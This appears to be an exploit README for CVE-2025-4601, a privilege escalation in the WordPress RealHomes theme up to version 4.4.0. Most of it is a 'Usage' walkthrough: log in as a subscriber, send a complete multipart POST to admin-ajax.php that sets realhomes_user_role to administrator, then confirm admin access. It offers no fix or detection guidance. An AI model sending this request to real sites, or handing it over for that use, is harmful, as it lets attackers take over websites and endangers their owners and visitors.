📄 WordPress RealHomes Theme 4.4.0 Privilege Escalation

# CVE-2025-4601 - WordPress RealHomes Theme <= 4.4.0 - Privilege Escalation
    
    🔥 **Vulnerability Summary**
    The WordPress theme RealHomes versions <= 4.4.0 is vulnerable to a **privilege escalation vulnerability**. This allows authenticated users with low privileges (such as subscribers) to escalate their roles to administrators. This vulnerability occurs through the `inspiry_update_profile` function, which improperly allows users to change their role if the `ere_allow_users_change_role` option is enabled.
    
    This issue can be exploited by submitting a specially crafted POST request to the `admin-ajax.php` endpoint, providing the `realhomes_user_role` parameter set to `administrator`.

    🚀 **Usage**
    1. **Login to the target website** as a low-privileged user (e.g., subscriber).
    2. Access the `/wp-admin/admin-ajax.php` endpoint with the following POST data, which includes the `realhomes_user_role` set to `administrator`:
    
       ```http
       POST /wp-admin/admin-ajax.php HTTP/2
       Host: targetsite.com
       Cookie: wordpress_logged_in_xxx=...
       Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNGw1yuikHiYVYYsr
    
       ------WebKitFormBoundaryNGw1yuikHiYVYYsr
       Content-Disposition: form-data; name="first-name"
       test
       ------WebKitFormBoundaryNGw1yuikHiYVYYsr
       Content-Disposition: form-data; name="last-name"
       user
       ------WebKitFormBoundaryNGw1yuikHiYVYYsr
       Content-Disposition: form-data; name="realhomes_user_role"
       administrator
       ------WebKitFormBoundaryNGw1yuikHiYVYYsr
       Content-Disposition: form-data; name="action"
       inspiry_update_profile
       ------WebKitFormBoundaryNGw1yuikHiYVYYsr--
       ```
    
    3. **Check the response**: If the request is successful, the attacker will gain administrative access.
    4. **Verify by accessing the `/wp-admin/`** page to confirm if the attacker has been granted admin privileges.
